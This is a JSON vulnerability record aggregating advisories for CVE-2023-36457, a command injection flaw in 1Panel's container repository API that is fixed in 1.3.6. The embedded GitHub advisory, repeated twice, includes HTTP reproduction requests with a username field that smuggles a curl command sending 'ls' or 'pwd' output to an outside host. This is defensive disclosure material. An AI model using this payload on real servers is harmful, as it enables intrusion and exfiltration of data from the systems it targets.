{"id":"CVE-2023-36457","aliases":["EUVD-2023-2122","GHSA-q2mx-gpjf-3h8x","GO-2023-1887"],"status":"published","title":"1Panel vulnerable to command injection when adding container repositories","description":"1Panel is an open source Linux server operation and maintenance management panel. Prior to version 1.3.6, an authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories. The vulnerability has been fixed in v1.3.6.","severity":{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.02313,"percentile":0.83652,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-74","CWE-77"],"published":"2023-07-05T20:57:23Z","modified":"2026-10-28T02:30:35Z","fixes":[{"ecosystem":"Go","package":"github.com/1Panel-dev/1Panel","fixed_in":["1.3.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/1Panel-dev/1Panel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.6"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/1Panel-dev/1Panel","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.3.6"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/1Panel-dev/1Panel","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.3.6"}]}]}],"products":[{"vendor":"1panel-dev","product":"1panel"},{"vendor":"fit2cloud","product":"1panel"}],"references":[{"url":"https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-q2mx-gpjf-3h8x","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/1Panel-dev/1Panel/releases/tag/v1.3.6","tags":["x_refsource_MISC","x_transferred","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-36457","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-q2mx-gpjf-3h8x"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/36xxx/CVE-2023-36457.json","tags":["advisory"]},{"url":"https://github.com/1Panel-dev/1Panel","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2023-36457","title":"1Panel vulnerable to command injection when adding container repositories","description":"1Panel is an open source Linux server operation and maintenance management panel. Prior to version 1.3.6, an authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories. The vulnerability has been fixed in v1.3.6.","status":"published","published":"2023-07-05T20:57:23.64Z","modified":"2024-10-18T19:33:33.395Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:35:28.218693Z"}],"euvd":[{"id":"EUVD-2023-2122","description":"1Panel is an open source Linux server operation and maintenance management panel. Prior to version 1.3.6, an authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories. The vulnerability has been fixed in v1.3.6.","status":"published","published":"2023-07-05T20:57:23Z","modified":"2024-10-18T19:33:33Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"updated_at":"2026-11-03T00:27:32.691525Z"}],"ghsa":[{"id":"GHSA-q2mx-gpjf-3h8x","title":"1Panel vulnerable to command injection when adding container repositories","description":"### Impact\n\nThe authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories.\n\n1. Vulnerability analysis.\n\n```\nbackend\\app\\api\\v1\\image_repo.go#create\n```\n![image](https://user-images.githubusercontent.com/46734380/249118560-8c20dac6-d1be-49d2-b2b2-9a4df9b7cd04.png)\n\n```\nbackend\\app\\service\\image_repo.go#CheckConn\n```\n![image](https://user-images.githubusercontent.com/46734380/249118639-37b7a1e9-08a9-4316-8beb-39beefdceb33.png)\n\n2. vulnerability reproduction.\n\n```\nPOST /api/v1/containers/repo HTTP/1.1\nHost: 192.168.109.152:40982\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nX-CSRF-TOKEN: \nContent-Length: 446\nOrigin: http://192.168.109.152:40982\nConnection: close\nReferer: http://192.168.109.152:40982/containers/repo\nCookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e\n```\n\n```\n{\"id\":2,\"createdAt\":\"2023-04-13T19:57:43.633643247-07:00\",\"name\":\"asdasd\",\"downloadUrl\":\"127.0.0.1:8080\",\"protocol\":\"http\",\"username\":\"admin||curl http://192.168.109.1:12345/`ls`||\",\"auth\":true,\"status\":\"Failed\",\"message\":\"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\\nError response from daemon: Get \\\"http://127.0.0.1:8080/v2/\\\": dial tcp 127.0.0.1:8080: connect: connection refused\\n\",\"password\":\"Passw0rd\"}\n```\n\n3. Using update can be triggered multiple times.\n\n```\nPOST /api/v1/containers/repo/update HTTP/1.1\nHost: 192.168.109.152:40982\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nX-CSRF-TOKEN: \nContent-Length: 447\nOrigin: http://192.168.109.152:40982\nConnection: close\nReferer: http://192.168.109.152:40982/containers/repo\nCookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e\n```\n\n```\n{\"id\":2,\"createdAt\":\"2023-04-13T19:57:43.633643247-07:00\",\"name\":\"asdasd\",\"downloadUrl\":\"127.0.0.1:8080\",\"protocol\":\"http\",\"username\":\"admin||curl http://192.168.109.1:12345/`pwd`||\",\"auth\":true,\"status\":\"Failed\",\"message\":\"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\\nError response from daemon: Get \\\"http://127.0.0.1:8080/v2/\\\": dial tcp 127.0.0.1:8080: connect: connection refused\\n\",\"password\":\"Passw0rd\"}\n```\n\nAffected versions: \u003c= 1.3.5\n\n### Patches\n\nThe vulnerability has been fixed in v1.3.6.\n\n### Workarounds\n\nIt is recommended to upgrade the version to v1.3.6.\n\n### References\n\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/1Panel-dev/1Panel\nEmail us at wanghe@fit2cloud.com\n","status":"published","published":"2023-07-05T21:38:07Z","modified":"2023-11-09T05:01:53Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-74","CWE-77"],"updated_at":"2026-11-02T14:37:17.64478Z"}],"nvd":[{"id":"CVE-2023-36457","description":"1Panel is an open source Linux server operation and maintenance management panel. Prior to version 1.3.6, an authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories. The vulnerability has been fixed in v1.3.6.","status":"published","published":"2023-07-05T21:15:09.867Z","modified":"2026-06-17T06:06:18.063Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:08:15.127597Z"}],"osv":[{"id":"CVE-2023-36457","title":"1Panel vulnerable to command injection when adding container repositories","description":"1Panel is an open source Linux server operation and maintenance management panel. Prior to version 1.3.6, an authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories. The vulnerability has been fixed in v1.3.6.","status":"published","published":"2023-07-05T20:57:23.64Z","modified":"2026-10-28T02:30:35.673191053Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T15:44:32.510144Z"},{"id":"GHSA-q2mx-gpjf-3h8x","title":"1Panel vulnerable to command injection when adding container repositories","description":"### Impact\n\nThe authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories.\n\n1. Vulnerability analysis.\n\n```\nbackend\\app\\api\\v1\\image_repo.go#create\n```\n![image](https://user-images.githubusercontent.com/46734380/249118560-8c20dac6-d1be-49d2-b2b2-9a4df9b7cd04.png)\n\n```\nbackend\\app\\service\\image_repo.go#CheckConn\n```\n![image](https://user-images.githubusercontent.com/46734380/249118639-37b7a1e9-08a9-4316-8beb-39beefdceb33.png)\n\n2. vulnerability reproduction.\n\n```\nPOST /api/v1/containers/repo HTTP/1.1\nHost: 192.168.109.152:40982\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nX-CSRF-TOKEN: \nContent-Length: 446\nOrigin: http://192.168.109.152:40982\nConnection: close\nReferer: http://192.168.109.152:40982/containers/repo\nCookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e\n```\n\n```\n{\"id\":2,\"createdAt\":\"2023-04-13T19:57:43.633643247-07:00\",\"name\":\"asdasd\",\"downloadUrl\":\"127.0.0.1:8080\",\"protocol\":\"http\",\"username\":\"admin||curl http://192.168.109.1:12345/`ls`||\",\"auth\":true,\"status\":\"Failed\",\"message\":\"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\\nError response from daemon: Get \\\"http://127.0.0.1:8080/v2/\\\": dial tcp 127.0.0.1:8080: connect: connection refused\\n\",\"password\":\"Passw0rd\"}\n```\n\n3. Using update can be triggered multiple times.\n\n```\nPOST /api/v1/containers/repo/update HTTP/1.1\nHost: 192.168.109.152:40982\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nX-CSRF-TOKEN: \nContent-Length: 447\nOrigin: http://192.168.109.152:40982\nConnection: close\nReferer: http://192.168.109.152:40982/containers/repo\nCookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e\n```\n\n```\n{\"id\":2,\"createdAt\":\"2023-04-13T19:57:43.633643247-07:00\",\"name\":\"asdasd\",\"downloadUrl\":\"127.0.0.1:8080\",\"protocol\":\"http\",\"username\":\"admin||curl http://192.168.109.1:12345/`pwd`||\",\"auth\":true,\"status\":\"Failed\",\"message\":\"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\\nError response from daemon: Get \\\"http://127.0.0.1:8080/v2/\\\": dial tcp 127.0.0.1:8080: connect: connection refused\\n\",\"password\":\"Passw0rd\"}\n```\n\nAffected versions: \u003c= 1.3.5\n\n### Patches\n\nThe vulnerability has been fixed in v1.3.6.\n\n### Workarounds\n\nIt is recommended to upgrade the version to v1.3.6.\n\n### References\n\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/1Panel-dev/1Panel\nEmail us at wanghe@fit2cloud.com\n","status":"published","published":"2023-07-05T21:38:07Z","modified":"2026-09-10T03:50:02.68385778Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-74","CWE-77"],"updated_at":"2026-11-02T15:46:53.700556Z"},{"id":"GO-2023-1887","title":"1Panel vulnerable to command injection when adding container repositories in github.com/1Panel-dev/1Panel","description":"1Panel vulnerable to command injection when adding container repositories in github.com/1Panel-dev/1Panel","status":"published","published":"2024-08-20T20:31:35Z","modified":"2026-03-03T04:53:55.339659Z","updated_at":"2026-11-02T15:47:01.185262Z"}]}}